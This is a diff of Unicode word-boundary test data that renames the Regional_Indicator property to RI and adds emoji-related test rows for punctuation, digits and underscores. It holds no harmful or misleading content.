+÷ 002C ÷ 1F1E6 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 002C × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 002C ÷ 05D0 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 002C × 0308 ÷ 05D0 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 002C ÷ 0022 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 002C × 0308 ÷ 0022 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 002C ÷ 0027 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 002C × 0308 ÷ 0027 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 002C ÷ 261D ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 002C × 0308 ÷ 261D ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 002C ÷ 1F3FB ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 002C × 0308 ÷ 1F3FB ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 002C ÷ 2640 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 002C × 0308 ÷ 2640 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 002C ÷ 1F466 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 002C × 0308 ÷ 1F466 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 002C × 00AD ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 002C × 0308 × 00AD ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 002C × 0300 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 002C × 0308 × 0300 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 002C × 200D ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 002C × 0308 × 200D ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 002C ÷ 0061 × 2060 ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 002C × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] COMMA (MidNum) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 002C ÷ 0061 ÷ 003A ÷ # ÷ [0.2] COMMA (MidNum) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -458,18 +540,28 @@
÷ 002E × 0308 ÷ 0030 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 002E ÷ 005F ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 002E × 0308 ÷ 005F ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 002E ÷ 1F1E6 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 002E × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 002E ÷ 1F1E6 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 002E × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 002E ÷ 05D0 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 002E × 0308 ÷ 05D0 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 002E ÷ 0022 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 002E × 0308 ÷ 0022 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 002E ÷ 0027 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 002E × 0308 ÷ 0027 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 002E ÷ 261D ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 002E × 0308 ÷ 261D ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 002E ÷ 1F3FB ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 002E × 0308 ÷ 1F3FB ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 002E ÷ 2640 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 002E × 0308 ÷ 2640 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 002E ÷ 1F466 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 002E × 0308 ÷ 1F466 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 002E × 00AD ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 002E × 0308 × 00AD ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 002E × 0300 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 002E × 0308 × 0300 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 002E × 200D ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 002E × 0308 × 200D ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 002E ÷ 0061 × 2060 ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 002E × 0308 ÷ 0061 × 2060 ÷ # ÷ [0.2] FULL STOP (MidNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 002E ÷ 0061 ÷ 003A ÷ # ÷ [0.2] FULL STOP (MidNumLet) ÷ [999.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -510,18 +602,28 @@
÷ 0030 × 0308 × 0030 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) × [8.0] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 0030 × 005F ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 0030 × 0308 × 005F ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 0030 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 0030 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 0030 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 0030 × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 0030 × 05D0 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [10.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0030 × 0308 × 05D0 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) × [10.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 0030 ÷ 0022 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0030 × 0308 ÷ 0022 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 0030 ÷ 0027 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 0030 × 0308 ÷ 0027 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 0030 ÷ 261D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0030 × 0308 ÷ 261D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 0030 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0030 × 0308 ÷ 1F3FB ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 0030 ÷ 2640 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0030 × 0308 ÷ 2640 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 0030 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 0030 × 0308 ÷ 1F466 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 0030 × 00AD ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0030 × 0308 × 00AD ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 0030 × 0300 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 0030 × 0308 × 0300 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 0030 × 200D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 0030 × 0308 × 200D ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 0030 × 0061 × 2060 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [10.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0030 × 0308 × 0061 × 2060 ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [4.0] COMBINING DIAERESIS (Extend_FE) × [10.0] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 0030 × 0061 ÷ 003A ÷ # ÷ [0.2] DIGIT ZERO (Numeric) × [10.0] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -562,18 +664,28 @@
÷ 005F × 0308 × 0030 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.2] DIGIT ZERO (Numeric) ÷ [0.3]
÷ 005F × 005F ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
÷ 005F × 0308 × 005F ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.1] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 005F ÷ 1F1E6 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 005F × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
+÷ 005F ÷ 1F1E6 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+÷ 005F × 0308 ÷ 1F1E6 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
÷ 005F × 05D0 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [13.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 005F × 0308 × 05D0 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.2] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
÷ 005F ÷ 0022 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 005F × 0308 ÷ 0022 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] QUOTATION MARK (Double_Quote) ÷ [0.3]
÷ 005F ÷ 0027 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
÷ 005F × 0308 ÷ 0027 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] APOSTROPHE (Single_Quote) ÷ [0.3]
+÷ 005F ÷ 261D ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 005F × 0308 ÷ 261D ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] WHITE UP POINTING INDEX (E_Base) ÷ [0.3]
+÷ 005F ÷ 1F3FB ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 005F × 0308 ÷ 1F3FB ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (E_Modifier) ÷ [0.3]
+÷ 005F ÷ 2640 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 005F × 0308 ÷ 2640 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FEMALE SIGN (Glue_After_Zwj) ÷ [0.3]
+÷ 005F ÷ 1F466 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) ÷ [999.0] BOY (EBG) ÷ [0.3]
+÷ 005F × 0308 ÷ 1F466 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] BOY (EBG) ÷ [0.3]
÷ 005F × 00AD ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 005F × 0308 × 00AD ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] SOFT HYPHEN (Format_FE) ÷ [0.3]
÷ 005F × 0300 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
÷ 005F × 0308 × 0300 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] COMBINING GRAVE ACCENT (Extend_FE) ÷ [0.3]
+÷ 005F × 200D ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
+÷ 005F × 0308 × 200D ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [4.0] ZERO WIDTH JOINER (ZWJ_FE) ÷ [0.3]
÷ 005F × 0061 × 2060 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [13.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 005F × 0308 × 0061 × 2060 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.2] LATIN SMALL LETTER A (ALetter) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 005F × 0061 ÷ 003A ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [13.2] LATIN SMALL LETTER A (ALetter) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
@@ -592,58 +704,68 @@
÷ 005F × 0308 × 0031 ÷ 002C ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.2] DIGIT ONE (Numeric) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
÷ 005F × 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [13.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
÷ 005F × 0308 × 0031 ÷ 002E × 2060 ÷ # ÷ [0.2] LOW LINE (ExtendNumLet) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.2] DIGIT ONE (Numeric) ÷ [999.0] FULL STOP (MidNumLet) × [4.0] WORD JOINER (Format_FE) ÷ [0.3]
-÷ 1F1E6 ÷ 0001 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0001 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] <START OF HEADING> (Other) ÷ [0.3]
-÷ 1F1E6 ÷ 000D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 000D ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <CARRIAGE RETURN (CR)> (CR) ÷ [0.3]
-÷ 1F1E6 ÷ 000A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 000A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE FEED (LF)> (LF) ÷ [0.3]
-÷ 1F1E6 ÷ 000B ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 000B ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [3.2] <LINE TABULATION> (Newline) ÷ [0.3]
-÷ 1F1E6 ÷ 3031 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 3031 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] VERTICAL KANA REPEAT MARK (Katakana) ÷ [0.3]
-÷ 1F1E6 ÷ 0041 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0041 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LATIN CAPITAL LETTER A (ALetter) ÷ [0.3]
-÷ 1F1E6 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 003A ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COLON (MidLetter) ÷ [0.3]
-÷ 1F1E6 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 002C ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] COMMA (MidNum) ÷ [0.3]
-÷ 1F1E6 ÷ 002E ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 002E ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] FULL STOP (MidNumLet) ÷ [0.3]
-÷ 1F1E6 ÷ 0030 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 0030 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] DIGIT ZERO (Numeric) ÷ [0.3]
-÷ 1F1E6 ÷ 005F ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 005F ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] LOW LINE (ExtendNumLet) ÷ [0.3]
-÷ 1F1E6 × 1F1E6 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [13.3] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 1F1E6 × 0308 × 1F1E6 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) × [13.3] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [0.3]
-÷ 1F1E6 ÷ 05D0 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
-÷ 1F1E6 × 0308 ÷ 05D0 ÷ # ÷ [0.2] REGIONAL INDICATOR SYMBOL LETTER A (Regional_Indicator) × [4.0] COMBINING DIAERESIS (Extend_FE) ÷ [999.0] HEBREW LETTER ALEF (Hebrew_Letter) ÷ [0.3]
